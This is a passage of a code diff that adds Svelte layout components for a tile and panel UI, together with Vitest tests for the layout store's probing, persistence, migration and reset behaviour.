+ ? { ok: false, notFound: false, error: "storage down" }
+ : { ok: true, tree: served },
+ );
+ const store = makeStore(http);
+ await store.probe("ws-a");
+
+ failPut = true;
+ store.onTreeChange(overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]));
+ await vi.advanceTimersByTimeAsync(200);
+ expect(store.tree).toEqual(served);
+ });
+
+ it("a PUT 404 does NOT roll back — the provider vanished mid-session; the edit stays ephemeral", async () => {
+ const http = fakeHttp(() => ({ ok: true, tree: DEFAULT_LAYOUT }));
+ const store = makeStore(http);
+ await store.probe("ws-a");
+
+ // The provider unloads before the edit's PUT fires.
+ http.putResult = () => ({ ok: false, notFound: true, error: "No layout provider is active" });
+ const edited = overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]);
+ store.onTreeChange(edited);
+ await vi.advanceTimersByTimeAsync(200);
+
+ expect(store.tree).toEqual(edited); // the edit STAYS (in-memory)
+ expect(store.providerState).toBe("absent");
+ expect(warnings).toHaveLength(1); // the once-per-absence log, nothing more
+ });
+});
+
+describe("layout store — probe triggers (§2.6)", () => {
+ it("a per-workspace plugin-state change on the ACTIVE workspace re-probes (the plugins-modal toggle)", async () => {
+ let absent = true;
+ const served = overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]);
+ const http = fakeHttp(() =>
+ absent
+ ? { ok: false, notFound: true, error: "No layout plugin is enabled in this workspace" }
+ : { ok: true, tree: served },
+ );
+ const store = makeStore(http);
+ await store.probe("ws-a");
+ expect(store.providerState).toBe("absent");
+
+ absent = false; // a layout plugin got enabled in THIS workspace
+ store.onWorkspacePluginsChanged("ws-a");
+ await vi.advanceTimersByTimeAsync(0);
+ expect(store.providerState).toBe("present");
+ expect(store.tree).toEqual(served);
+ });
+
+ it("a per-workspace plugin-state change on ANOTHER workspace is ignored (its probe fetches on switch)", async () => {
+ let absent = true;
+ const served = overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]);
+ const http = fakeHttp(() =>
+ absent
+ ? { ok: false, notFound: true, error: "No layout plugin is enabled in this workspace" }
+ : { ok: true, tree: served },
+ );
+ const store = makeStore(http);
+ await store.probe("ws-a");
+ expect(store.providerState).toBe("absent");
+
+ absent = false; // a DIFFERENT workspace's toggle — nothing re-renders here
+ store.onWorkspacePluginsChanged("ws-other");
+ await vi.advanceTimersByTimeAsync(0);
+ expect(http.getCalls).toEqual(["ws-a"]); // no second probe
+ expect(store.providerState).toBe("absent");
+ });
+
+ it("extensions-changed re-probes the active workspace", async () => {
+ let absent = true;
+ const served = overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]);
+ const http = fakeHttp(() =>
+ absent
+ ? { ok: false, notFound: true, error: "No layout provider is active" }
+ : { ok: true, tree: served },
+ );
+ const store = makeStore(http);
+ await store.probe("ws-a");
+ expect(store.providerState).toBe("absent");
+
+ absent = false; // a layout plugin got enabled on the server
+ store.onExtensionsChanged();
+ await vi.advanceTimersByTimeAsync(0);
+ expect(store.providerState).toBe("present");
+ expect(store.tree).toEqual(served);
+ });
+
+ it("a workspace switch resets to the default, probes the NEW workspace, and drops queued edits", async () => {
+ const http = fakeHttp((ws) =>
+ ws === "ws-b"
+ ? { ok: true, tree: overlaySidePanels(DEFAULT_LAYOUT, ["vision"]) }
+ : { ok: true, tree: DEFAULT_LAYOUT },
+ );
+ const store = makeStore(http);
+ await store.probe("ws-a");
+
+ // Queue an edit for ws-a, then switch before the debounce fires.
+ store.onTreeChange(overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]));
+ store.onWorkspaceChanged("ws-b");
+ await vi.advanceTimersByTimeAsync(300);
+
+ expect(store.activeWorkspaceId).toBe("ws-b");
+ expect(http.getCalls).toEqual(["ws-a", "ws-b"]);
+ expect(store.tree).toEqual(overlaySidePanels(DEFAULT_LAYOUT, ["vision"]));
+ // The queued edit never PUTs — it belonged to the old workspace.
+ expect(http.putCalls).toEqual([]);
+ });
+
+ it("switching to the SAME workspace is a no-op (no re-probe, no reset)", async () => {
+ const http = fakeHttp(() => ({ ok: true, tree: DEFAULT_LAYOUT }));
+ const store = makeStore(http);
+ await store.probe("ws-a");
+ store.onWorkspaceChanged("ws-a");
+ expect(http.getCalls).toEqual(["ws-a"]);
+ });
+});
+
+describe("layout store — one-way localStorage migration (§2.7)", () => {
+ it("boot probe + equal panels + stored key → exactly ONE migration PUT, then the key is dead", async () => {
+ const storage = storageWith(["extensions", "vision"]);
+ const http = fakeHttp(() => ({ ok: true, tree: DEFAULT_LAYOUT }));
+ const store = makeStore(http, { storage });
+
+ await store.probe("ws-a", { boot: true });
+ expect(http.putCalls).toEqual([
+ { workspaceId: "ws-a", tree: overlaySidePanels(DEFAULT_LAYOUT, ["extensions", "vision"]) },
+ ]);
+ // The migrated tree is now the rendered tree.
+ expect(store.tree).toEqual(overlaySidePanels(DEFAULT_LAYOUT, ["extensions", "vision"]));
+
+ // The key is never read again: a later probe PUTs nothing.
+ await store.probe("ws-a");
+ expect(http.putCalls).toHaveLength(1);
+ });
+
+ it("no stored key → no migration PUT (but the read-once flag is still consumed)", async () => {
+ const storage = storageWith(null);
+ const http = fakeHttp(() => ({ ok: true, tree: DEFAULT_LAYOUT }));
+ const store = makeStore(http, { storage });
+ await store.probe("ws-a", { boot: true });
+ expect(http.putCalls).toEqual([]);
+ });
+
+ it("a custom provider tree (panels differ) is NOT migrated over", async () => {
+ const storage = storageWith(["extensions"]);
+ const custom = overlaySidePanels(DEFAULT_LAYOUT, ["vision"]);
+ const http = fakeHttp(() => ({ ok: true, tree: custom }));
+ const store = makeStore(http, { storage });
+ await store.probe("ws-a", { boot: true });
+ expect(http.putCalls).toEqual([]);
+ expect(store.tree).toEqual(custom);
+ });
+
+ it("migration is boot-only: a non-boot probe never PUTs the stored selection", async () => {
+ const storage = storageWith(["extensions"]);
+ const http = fakeHttp(() => ({ ok: true, tree: DEFAULT_LAYOUT }));
+ const store = makeStore(http, { storage });
+ await store.probe("ws-a");
+ expect(http.putCalls).toEqual([]);
+ });
+
+ it("a failed migration PUT consumes the flag (best-effort — never retried, never fatal)", async () => {
+ const storage = storageWith(["extensions"]);
+ const http = fakeHttp(
+ () => ({ ok: true, tree: DEFAULT_LAYOUT }),
+ () => ({ ok: false, notFound: false, error: "invalid tree" }),
+ );
+ const store = makeStore(http, { storage });
+ await store.probe("ws-a", { boot: true });
+ expect(http.putCalls).toHaveLength(1);
+ expect(warnings.some((w) => w.includes("migration"))).toBe(true);
+ // The rendered tree is untouched (the PUT failed).
+ expect(store.tree).toEqual(DEFAULT_LAYOUT);
+ await store.probe("ws-a");
+ expect(http.putCalls).toHaveLength(1);
+ });
+
+ it("migration arms even when the boot probe 404s, and applies on the first LATER success", async () => {
+ const storage = storageWith(["extensions"]);
+ let absent = true;
+ const http = fakeHttp(() =>
+ absent
+ ? { ok: false, notFound: true, error: "No layout provider is active" }
+ : { ok: true, tree: DEFAULT_LAYOUT },
+ );
+ const store = makeStore(http, { storage });
+ await store.probe("ws-a", { boot: true });
+ expect(http.putCalls).toEqual([]);
+
+ absent = false;
+ await store.probe("ws-a"); // extensions-changed probe — first success
+ expect(http.putCalls).toEqual([
+ { workspaceId: "ws-a", tree: overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]) },
+ ]);
+ });
+});
+
+describe("layout store — resetToDefault (plan 04 §4.4, the reset affordance)", () => {
+ it("DELETEs the workspace's layout, applies the fresh seed, and resolves null", async () => {
+ const custom = overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]);
+ const http = fakeHttp();
+ // The DELETE returns the FRESH SEED (the server re-seeded).
+ http.deleteResult = () => ({ ok: true, tree: DEFAULT_LAYOUT });
+ const store = makeStore(http);
+
+ // Get to a NON-default tree first: a present provider + a pushed edit.
+ http.getResult = () => ({ ok: true, tree: custom });
+ await store.probe("ws-a");
+ expect(store.tree).toEqual(custom);
+
+ const failure = await store.resetToDefault("ws-a");
+ expect(failure).toBeNull();
+ expect(http.deleteCalls).toEqual(["ws-a"]);
+ // The fresh seed is applied locally (the WS broadcast echo is idempotent).
+ expect(store.tree).toEqual(DEFAULT_LAYOUT);
+ expect(store.providerState).toBe("present");
+ });
+
+ it("a 404 (no provider) resolves to the user-facing 'no layout plugin enabled' reason", async () => {
+ const http = fakeHttp();
+ http.deleteResult = () => ({
+ ok: false,
+ notFound: true,
+ error: "No layout provider is active",
+ });
+ const store = makeStore(http);
+
+ const failure = await store.resetToDefault("ws-a");
+ expect(failure).toBe("no layout plugin enabled");
+ expect(store.tree).toEqual(DEFAULT_LAYOUT); // untouched local default
+ });
+
+ it("another failure (5xx on a present provider) resolves to its error message", async () => {
+ const http = fakeHttp(() => ({ ok: true, tree: DEFAULT_LAYOUT }));
+ http.deleteResult = () => ({ ok: false, notFound: false, error: "storage write failed" });
+ const store = makeStore(http);
+ await store.probe("ws-a");
+
+ const failure = await store.resetToDefault("ws-a");
+ expect(failure).toBe("storage write failed");
+ });
+});
diff --git a/src/features/layout/ui/FallbackTile.svelte b/src/features/layout/ui/FallbackTile.svelte
new file mode 100644
index 0000000..8fafa7f
--- /dev/null
+++ b/src/features/layout/ui/FallbackTile.svelte
@@ -0,0 +1,13 @@
+<script lang="ts">
+ /**
+ * Shown when a leaf names a view this client has not registered — the tree
+ * is data and can arrive from a backend (plan 02) that knows views this
+ * build lacks. A titled placeholder, never a crash.
+ */
+ let { viewId }: { viewId: string } = $props();
+</script>
+
+<div class="flex flex-col gap-1 rounded-lg bg-base-200 p-3" data-testid="fallback-tile">
+ <h3 class="text-xs font-semibold uppercase opacity-60">{viewId}</h3>
+ <p class="text-sm opacity-60">View not registered.</p>
+</div>
diff --git a/src/features/layout/ui/TileLeaf.svelte b/src/features/layout/ui/TileLeaf.svelte
new file mode 100644
index 0000000..0fd6430
--- /dev/null
+++ b/src/features/layout/ui/TileLeaf.svelte
@@ -0,0 +1,44 @@
+<script lang="ts">
+ /**
+ * Mounts a registered view for a leaf node. Resolution goes through the
+ * REACTIVE registry, so a late registration (plan 03) swaps the tile in
+ * without a tree change. An unknown view id renders a fallback tile —
+ * NEVER a crash (backend-owned trees can name views this client lacks).
+ *
+ * A diagnostic `marker` on the leaf draws an outline around it — the only
+ * node kind without a natural tile wrapper, so the wrapper exists only
+ * when marked (unmarked leaves render exactly as before).
+ */
+ import type { TileMarker } from "@dispatch/layout-contract";
+ import { viewRegistry, type RegisteredView } from "../logic/registry";
+ import { MARKER_OUTLINE_OFFSET, markerOutline } from "../logic/marker";
+ import FallbackTile from "./FallbackTile.svelte";
+
+ let {
+ node,
+ ports,
+ }: {
+ node: { readonly view: string; readonly marker?: TileMarker };
+ ports?: unknown;
+ } = $props();
+
+ const entry: RegisteredView | undefined = $derived(
+ $viewRegistry.find((v) => v.id === node.view),
+ );
+ const View = $derived(entry?.component);
+ const outline = $derived(markerOutline(node.marker));
+</script>
+
+{#snippet content()}
+ {#if View}
+ <View {ports} />
+ {:else}
+ <FallbackTile viewId={node.view} />
+ {/if}
+{/snippet}
+
+{#if outline !== undefined}
+ <div style:outline={outline} style:outline-offset={MARKER_OUTLINE_OFFSET}>{@render content()}</div>
+{:else}
+ {@render content()}
+{/if}
diff --git a/src/features/layout/ui/TileNode.svelte b/src/features/layout/ui/TileNode.svelte
new file mode 100644
index 0000000..5ed8a89
--- /dev/null
+++ b/src/features/layout/ui/TileNode.svelte
@@ -0,0 +1,37 @@
+<script lang="ts">
+ /**
+ * The recursive tile dispatcher: renders the node for its `kind` and recurses
+ * through the container components. Leaf nodes resolve through the view
+ * registry (TileLeaf).
+ */
+ import type { LayoutNode, LayoutOp, Path } from "@dispatch/layout-contract";
+ import type { CollapseStore } from "../logic/collapse";
+ import TileLeaf from "./TileLeaf.svelte";
+ import TilePanels from "./TilePanels.svelte";
+ import TileSplit from "./TileSplit.svelte";
+ import TileStack from "./TileStack.svelte";
+
+ let {
+ node,
+ path,
+ ports,
+ collapse,
+ onEdit,
+ }: {
+ node: LayoutNode;
+ path: Path;
+ ports?: unknown;
+ collapse: CollapseStore;
+ onEdit: (ops: readonly LayoutOp[]) => void;
+ } = $props();
+</script>
+
+{#if node.kind === "split"}
+ <TileSplit {node} {path} {ports} {collapse} {onEdit} />
+{:else if node.kind === "stack"}
+ <TileStack {node} {path} {ports} {collapse} {onEdit} />
+{:else if node.kind === "panels"}
+ <TilePanels {node} {path} {ports} {onEdit} />
+{:else if node.kind === "leaf"}
+ <TileLeaf {node} {ports} />
+{/if}
diff --git a/src/features/layout/ui/TilePanels.svelte b/src/features/layout/ui/TilePanels.svelte
new file mode 100644
index 0000000..cc5fa89
--- /dev/null
+++ b/src/features/layout/ui/TilePanels.svelte
@@ -0,0 +1,185 @@
+<script lang="ts">
+ /**
+ * A scrolling stack of swappable panels — the generalized ViewSidebar. The
+ * panel list comes from the tree node; dropdown options from the (reactive)
+ * registry's panel-eligible views. Edits emit tree ops upward via `onEdit`;
+ * the OWNER (App today, the backend store in plan 02) applies them and
+ * decides persistence.
+ */
+ import type { LayoutOp, PanelsNode, Path } from "@dispatch/layout-contract";
+ import PlusIcon from "phosphor-svelte/lib/PlusIcon";
+ import { untrack } from "svelte";
+ import { viewRegistry } from "../logic/registry";
+ import { addPanelOp, firstPanelView, removePanelOp, swapPanelOp } from "../logic/panels-edit";
+ import {
+ initialPanelKeys,
+ type PanelKeys,
+ reconcilePanelKeys,
+ swappedPanels,
+ } from "../logic/panel-keys";
+ import { markerStyle } from "../logic/marker";
+ import { morphPanelHeight, panelGrowIn, panelShrinkOut } from "./panel-motion";
+ import TileLeaf from "./TileLeaf.svelte";
+
+ let {
+ node,
+ path,
+ ports,
+ onEdit,
+ renderMarker = false,
+ }: {
+ node: PanelsNode;
+ path: Path;
+ ports?: unknown;
+ onEdit: (ops: readonly LayoutOp[]) => void;
+ /**
+ * Whether to draw the node's diagnostic marker on this root. Default NO:
+ * a panels node is the scrolled CONTENT of a split's collapsible child,
+ * so an outline here wraps the full scrollable region and scrolls with
+ * it — the split draws the marker on the aside (the fixed viewport)
+ * instead. Pass `true` only for a panels node used outside a split.
+ */
+ renderMarker?: boolean;
+ } = $props();
+
+ // Panel-eligible views only (decision 5): chat/composer/message-queue never
+ // appear in the dropdowns. Reactive so late registrations re-render options.
+ const panelViews = $derived($viewRegistry.filter((v) => v.panelEligible));
+ const addView = $derived(firstPanelView(panelViews));
+
+ // Stable per-panel keys (pure reconcile, memoised across tree updates) so a
+ // closed panel is the one that animates out, not whichever is last.
+ // A local ✕ click hints WHICH panel left (consumed by the next tree change;
+ // ignored if that change isn't exactly this removal, e.g. a remote edit).
+ let keyMemo: PanelKeys | null = null;
+ let removeHint: number | undefined;
+ const keyed = $derived.by(() => {
+ const views = node.panels.map((p) => p.view);
+ keyMemo =
+ keyMemo === null ? initialPanelKeys(views) : reconcilePanelKeys(keyMemo, views, removeHint);
+ removeHint = undefined;
+ return keyMemo;
+ });
+
+ function removePanel(idx: number): void {
+ removeHint = idx;
+ onEdit([removePanelOp(path, idx)]);
+ }
+
+ // View SWAP: the panel BOX (the well) animates from the old view's height
+ // to the new one's. Measure before the DOM updates, animate after. (Adds/removes are
+ // the per-panel in:/out: transitions below.)
+ let columnEl = $state<HTMLDivElement | undefined>();
+ /** The keys the DOM currently shows (set after each update). */
+ let shownKeys: PanelKeys | null = null;
+ let before: { keys: PanelKeys; heights: Map<number, number> } | null = null;
+ $effect.pre(() => {
+ const next = keyed;
+ untrack(() => {
+ const heights = new Map<number, number>();
+ for (const el of panelEls()) {
+ const well = wellOf(el);
+ if (well !== null) heights.set(Number(el.dataset.panelKey), well.offsetHeight);
+ }
+ before = { keys: shownKeys ?? next, heights };
+ });
+ });
+ $effect(() => {
+ const now = keyed;
+ untrack(() => {
+ const prev = before;
+ before = null;
+ shownKeys = now;
+ if (prev === null) return;
+ for (const key of swappedPanels(prev.keys, now).keys()) {
+ const el = panelEls().find((e) => Number(e.dataset.panelKey) === key);
+ const well = el === undefined ? null : wellOf(el);
+ const from = prev.heights.get(key);
+ if (well !== null && from !== undefined) morphPanelHeight(well, from);
+ }
+ });
+ });
+
+ function wellOf(panel: HTMLElement): HTMLElement | null {
+ return panel.querySelector<HTMLElement>(":scope > [data-panel-well]");
+ }
+
+ function panelEls(): HTMLElement[] {
+ return columnEl === undefined
+ ? []
+ : [...columnEl.querySelectorAll<HTMLElement>(":scope > [data-panel-key]")];
+ }
+</script>
+
+<!-- `shrink-0`: this column is the sidebar's SCROLLED content, so it keeps its
+ natural height — if it shrank to the scroller (min-h-0 in a flex column),
+ its children overflowed it and the trailing margin was never scrollable. -->
+<!-- No flex `gap`: each panel's wrapper carries the gap as `pb-2` instead, so
+ it grows/shrinks WITH the panel's height animation (a flex gap would jump). -->
+<div
+ bind:this={columnEl}
+ class="flex min-h-0 shrink-0 flex-col"
+ style={renderMarker ? markerStyle(node.marker) : undefined}
+ data-panels
+>
+ {#each node.panels as panel, idx (keyed.keys[idx])}
+ <!-- Add/close animate the WRAPPER's height (it carries the inter-panel gap,
+ so panels below slide smoothly); a view swap animates the WELL's
+ height. Either way only a height is tweened (clipped) — the contents
+ keep their natural size. `.inset-well` (app.css): recessed into the
+ sidebar, like the chat's thinking/tool blocks. -->
+ <div
+ class="shrink-0 pb-2"
+ data-panel-key={keyed.keys[idx]}
+ in:panelGrowIn
+ out:panelShrinkOut
+ >
+ <div class="inset-well flex flex-col p-3" data-panel-well>
+ <div class="flex items-center gap-1">
+ <select
+ class="select select-bordered select-sm flex-1"
+ aria-label="Select a view"
+ value={panel.view}
+ onchange={(e) => onEdit([swapPanelOp(path, idx, e.currentTarget.value)])}
+ >
+ <option value="" disabled>Select a view</option>
+ {#each panelViews as view (view.id)}
+ <option value={view.id}>{view.label}</option>
+ {/each}
+ </select>
+ {#if idx > 0}
+ <button
+ type="button"
+ class="btn btn-square btn-ghost btn-sm shrink-0"
+ aria-label="Remove view"
+ onclick={() => removePanel(idx)}
+ >
+ ✕
+ </button>
+ {/if}
+ </div>
+
+ <div class="mt-2">
+ <TileLeaf node={panel} {ports} />
+ </div>
+ </div>
+ </div>
+ {/each}
+
+ {#if addView !== null}
+ <!-- `.raised-btn` (app.css): the mirror of the view wells above it —
+ pops out where they sink in; pressed, it sinks in like them. Height =
+ DaisyUI's default button size (`--size-field` × 10), as the `btn` it
+ replaced; `shrink-0` so the column can never squash it. The last panel's
+ `pb-2` is the gap above it; `mb-2` = the same gap below, so it
+ doesn't sit tight to the end. -->
+ <button
+ type="button"
+ class="raised-btn mb-2 h-[calc(var(--size-field,0.25rem)*10)] w-full shrink-0"
+ aria-label="Add view"
+ onclick={() => addView !== null && onEdit([addPanelOp(path, addView)])}
+ >
+ <PlusIcon size={18} weight="bold" aria-hidden="true" />
+ </button>
+ {/if}
+</div>
diff --git a/src/features/layout/ui/TileRoot.svelte b/src/features/layout/ui/TileRoot.svelte
new file mode 100644
index 0000000..82ad430
--- /dev/null
+++ b/src/features/layout/ui/TileRoot.svelte
@@ -0,0 +1,39 @@
+<script lang="ts">
+ /**
+ * The tile-tree root. Renders the tree (titlebar slot first — unset renders
+ * nothing, D-L5), applies panel edit ops to its `tree` prop, and forwards the
+ * new tree via `onTreeChange`. The OWNER decides what persistence means
+ * (App/localStorage today; the backend layout store in plan 02).
+ */
+ import { applyOps, type LayoutOp, type LayoutTree } from "@dispatch/layout-contract";
+ import type { CollapseStore } from "../logic/collapse";
+ import TileNode from "./TileNode.svelte";
+
+ let {
+ tree,
+ onTreeChange,
+ ports,
+ collapse,
+ }: {
+ tree: LayoutTree;
+ onTreeChange?: (tree: LayoutTree) => void;
+ ports?: unknown;
+ collapse: CollapseStore;
+ } = $props();
+
+ function handleEdit(ops: readonly LayoutOp[]): void {
+ const result = applyOps(tree, ops);
+ if (result.ok) {
+ onTreeChange?.(result.tree);
+ } else {
+ // A panel edit that fails validation (e.g. removing the last panel) is
+ // refused loudly in dev — the tree keeps its previous state.
+ console.error(`TileRoot: layout edit refused: ${result.error}`);
+ }
+ }
+</script>
+
+{#if tree.titlebar !== undefined}
+ <TileNode node={tree.titlebar} path={["titlebar"]} {ports} {collapse} onEdit={handleEdit} />
+{/if}
+<TileNode node={tree.root} path={[]} {ports} {collapse} onEdit={handleEdit} />
diff --git a/src/features/layout/ui/TileRoot.test.ts b/src/features/layout/ui/TileRoot.test.ts
new file mode 100644
index 0000000..4b404a1
--- /dev/null
+++ b/src/features/layout/ui/TileRoot.test.ts
@@ -0,0 +1,394 @@
+import type { LayoutTree, SplitNode } from "@dispatch/layout-contract";
+import { render, screen } from "@testing-library/svelte";
+import userEvent from "@testing-library/user-event";
+import { gsap } from "gsap";
+import { describe, expect, it, vi } from "vitest";
+import { createCollapseStore, registerView, unregisterView } from "../index";
+import FixtureA from "./fixtures/FixtureA.svelte";
+import FixtureB from "./fixtures/FixtureB.svelte";
+import FixtureC from "./fixtures/FixtureC.svelte";
+import TileRoot from "./TileRoot.svelte";
+
+// Fixture registry: two panel-eligible views + one content-only view (a THIRD
+// component, so every fixture testid is unique in the rendered tree).
+registerView({ id: "fix-a", label: "Alpha View", component: FixtureA });
+registerView({ id: "fix-b", label: "Beta View", component: FixtureB });
+registerView({ id: "fix-content", label: "Content", component: FixtureC, panelEligible: false });
+
+function leaf(view: string): { kind: "leaf"; view: string } {
+ return { kind: "leaf", view };
+}
+
+/** split[ stack[leaf a (grow), leaf content], collapsible panels[leaf b] ] */
+function defaultTestTree(): LayoutTree {
+ return {
+ version: 1,
+ root: {
+ kind: "split",
+ id: "root",
+ dir: "row",
+ children: [
+ {
+ size: 1,
+ node: {
+ kind: "stack",
+ id: "main",
+ children: [{ grow: 1, node: leaf("fix-a") }, { node: leaf("fix-content") }],
+ },
+ },
+ {
+ size: 0,
+ basis: 320,
+ collapsible: true,
+ node: { kind: "panels", id: "side", panels: [leaf("fix-b")] },
+ },
+ ],
+ },
+ };
+}
+
+/** A bare panels root — panel EDITS without the collapsible chrome in the way. */
+function panelsOnlyTree(...views: string[]): LayoutTree {
+ return { version: 1, root: { kind: "panels", id: "side", panels: views.map(leaf) } };
+}
+
+/** The default test tree WITH the diagnostic markers on its two root tiles. */
+function markedTestTree(): LayoutTree {
+ return {
+ version: 1,
+ root: {
+ kind: "split",
+ id: "root",
+ dir: "row",
+ children: [
+ {
+ size: 1,
+ node: {
+ kind: "stack",
+ id: "main",
+ marker: "main",
+ children: [{ grow: 1, node: leaf("fix-a") }],
+ },
+ },
+ {
+ size: 0,
+ basis: 320,
+ collapsible: true,
+ node: { kind: "panels", id: "side", marker: "side", panels: [leaf("fix-b")] },
+ },
+ ],
+ },
+ };
+}
+
+function sidePanelsOf(tree: LayoutTree | null): string[] {
+ if (tree === null) return [];
+ const side = (tree.root as SplitNode).children?.[1]?.node;
+ return side?.kind === "panels"
+ ? side.panels.map((p) => p.view)
+ : tree.root.kind === "panels"
+ ? tree.root.panels.map((p) => p.view)
+ : [];
+}
+
+describe("TileRoot", () => {
+ it("renders every node kind: split, stack, panels, leaf", () => {
+ // A FRESH collapse store per test — the store is stateful chrome.
+ render(TileRoot, {
+ props: { tree: defaultTestTree(), collapse: createCollapseStore({ viewportWidth: 1024 }) },
+ });
+ // Stack children mount their registered components.
+ expect(screen.getByTestId("fixture-a")).toBeInTheDocument();
+ expect(screen.getByTestId("fixture-c")).toBeInTheDocument();
+ // The panels node renders its panel leaf + the dropdown.
+ expect(screen.getByTestId("fixture-b")).toBeInTheDocument();
+ expect(screen.getByRole("combobox", { name: "Select a view" })).toBeInTheDocument();
+ });
+
+ it("shows a fallback tile (never a crash) for an unknown view id", () => {
+ const tree: LayoutTree = {
+ version: 1,
+ root: { kind: "leaf", view: "not-registered-anywhere" },
+ };
+ render(TileRoot, { props: { tree, collapse: createCollapseStore() } });
+ const fallback = screen.getByTestId("fallback-tile");
+ expect(fallback).toHaveTextContent("not-registered-anywhere");
+ expect(fallback).toHaveTextContent("View not registered.");
+ });
+
+ it("renders nothing for the titlebar slot while it is unset (D-L5)", () => {
+ const { container } = render(TileRoot, {
+ props: { tree: defaultTestTree(), collapse: createCollapseStore() },
+ });
+ expect(container.querySelectorAll("[data-testid='fallback-tile']")).toHaveLength(0);
+ });
+
+ it("a set titlebar renders its node (the slot works; nothing populates it today)", () => {
+ const tree: LayoutTree = {
+ version: 1,
+ titlebar: { kind: "leaf", view: "fix-a" },
+ root: { kind: "leaf", view: "fix-b" },
+ };
+ render(TileRoot, { props: { tree, collapse: createCollapseStore() } });
+ expect(screen.getByTestId("fixture-a")).toBeInTheDocument();
+ expect(screen.getByTestId("fixture-b")).toBeInTheDocument();
+ });
+
+ it("the collapsible child reflects the collapse store and toggles through it", async () => {
+ const collapse = createCollapseStore({ viewportWidth: 1024 });
+ const { container } = render(TileRoot, { props: { tree: defaultTestTree(), collapse } });
+ const aside = container.querySelector<HTMLElement>("[data-testid='collapsible-child']");
+ expect(aside).not.toBeNull();
+ // Wide viewport default: open → full basis width.
+ expect(aside).toHaveAttribute("data-open", "true");
+ expect(aside?.style.width).toBe("320px");
+
+ await collapse.toggle("side");
+ expect(aside).toHaveAttribute("data-open", "false");
+ expect(aside?.style.width).toBe("0px");
+ });
+
+ it("a dropdown swap emits replaceView and the owner receives the changed tree", async () => {
+ const user = userEvent.setup();
+ let changed: LayoutTree | null = null;
+ render(TileRoot, {
+ props: {
+ tree: panelsOnlyTree("fix-b"),
+ collapse: createCollapseStore(),
+ onTreeChange: (t) => (changed = t),
+ },
+ });
+
+ await user.selectOptions(screen.getByRole("combobox", { name: "Select a view" }), "fix-a");
+ expect(sidePanelsOf(changed)).toEqual(["fix-a"]);
+ // TileRoot is a CONTROLLED component: applying the op is the owner's job
+ // (App re-renders with the new tree; the test doesn't feed it back).
+ });
+
+ it("the + button emits insertPanel pre-selecting the first eligible view", async () => {
+ const user = userEvent.setup();
+ let changed: LayoutTree | null = null;
+ render(TileRoot, {
+ props: {
+ tree: panelsOnlyTree("fix-b"),
+ collapse: createCollapseStore(),
+ onTreeChange: (t) => (changed = t),
+ },
+ });
+
+ await user.click(screen.getByRole("button", { name: "Add view" }));
+ expect(sidePanelsOf(changed)).toEqual(["fix-b", "fix-a"]);
+ });
+
+ it("the ✕ button emits removeNode for that panel (absent on the first panel)", async () => {
+ const user = userEvent.setup();
+ let changed: LayoutTree | null = null;
+ render(TileRoot, {
+ props: {
+ tree: panelsOnlyTree("fix-b", "fix-a"),
+ collapse: createCollapseStore(),
+ onTreeChange: (t) => (changed = t),
+ },
+ });
+
+ // Only panels after the first can be removed — like ViewSidebar today.
+ const removeButtons = screen.getAllByRole("button", { name: "Remove view" });
+ expect(removeButtons).toHaveLength(1);
+ await user.click(removeButtons[0] as HTMLElement);
+ expect(sidePanelsOf(changed)).toEqual(["fix-b"]);
+ });
+
+ it("an invalid edit is refused: the first panel has no remove button", () => {
+ const tree = panelsOnlyTree("fix-b");
+ let changed: LayoutTree | null = null;
+ const consoleError = vi.spyOn(console, "error").mockImplementation(() => {});
+ try {
+ render(TileRoot, {
+ props: { tree, collapse: createCollapseStore(), onTreeChange: (t) => (changed = t) },
+ });
+ expect(screen.queryByRole("button", { name: "Remove view" })).toBeNull();
+ expect(changed).toBeNull();
+ } finally {
+ consoleError.mockRestore();
+ }
+ });
+
+ it("a stack child with grow renders in a flex-grown wrapper; others natural", () => {
+ const { container } = render(TileRoot, {
+ props: { tree: defaultTestTree(), collapse: createCollapseStore() },
+ });
+ const grown = container.querySelector("[data-testid='fixture-a']")?.closest(".min-h-0");
+ expect(grown?.getAttribute("style")).toContain("flex: 1 1 0%");
+ const natural = container.querySelector("[data-testid='fixture-c']")?.closest(".min-h-0");
+ expect(natural?.getAttribute("style")).toContain("flex: 0 0 auto");
+ });
+
+ it("the stack column is full-height so a grow child fills it even when empty", () => {
+ // jsdom can't compute flex layout — the honest seam is the CSS class.
+ // WITHOUT `h-full` the stack column's height is content-based, so the
+ // grow child's `flex: 1 1 0%` has no space to fill: an EMPTY chat leaf
+ // collapses to ~0 and the composer below it rides to the top (instead of
+ // staying pinned at the bottom of the column).
+ const { container } = render(TileRoot, {
+ props: { tree: defaultTestTree(), collapse: createCollapseStore() },
+ });
+ const stackColumn = container.querySelector("[data-testid='fixture-a']")?.closest(".flex-col");
+ expect(stackColumn).toHaveClass("h-full");
+ });
+
+ it("a marked stack/panels node draws its diagnostic outline (main red, side green)", () => {
+ // The inline outline IS the honest seam: marker values arrive in runtime
+ // tree data (Tailwind can't see them — dynamic classes would silently
+ // render nothing), so the renderer applies an inline style, and the test
+ // asserts exactly what lands on the tile wrapper.
+ const { container } = render(TileRoot, {
+ props: { tree: markedTestTree(), collapse: createCollapseStore({ viewportWidth: 1024 }) },
+ });
+ const stack = container.querySelector("[data-testid='fixture-a']")?.closest(".flex-col");
+ expect(stack?.getAttribute("style")).toContain("outline: 4px solid red");
+ // The SIDE marker frames the SCROLL CONTAINER — the sidebar's fixed,
+ // opaquely-painted viewport (the aside's bg is transparent; this div's
+ // bg-base-100 would cover an outline drawn on the aside). The panels
+ // root is its SCROLLED content, so an outline there would wrap the
+ // whole scrollable region and scroll along with it.
+ const viewport = container.querySelector("[data-testid='sidebar-scroll-viewport']");
+ expect(viewport?.getAttribute("style")).toContain("outline: 4px solid green");
+ });
+
+ it("outlines are INSET so they draw inside the tile's box (never clipped at screen edges)", () => {
+ // Tiles span their containers edge-to-edge, so a default (outside)
+ // outline overflows the visible area and is clipped away — the offset
+ // pulls the ring inside the box. Pin it on both marked tiles.
+ const { container } = render(TileRoot, {
+ props: { tree: markedTestTree(), collapse: createCollapseStore({ viewportWidth: 1024 }) },
+ });
+ const stack = container.querySelector("[data-testid='fixture-a']")?.closest(".flex-col");
+ expect(stack?.getAttribute("style")).toContain("outline-offset: -4px");
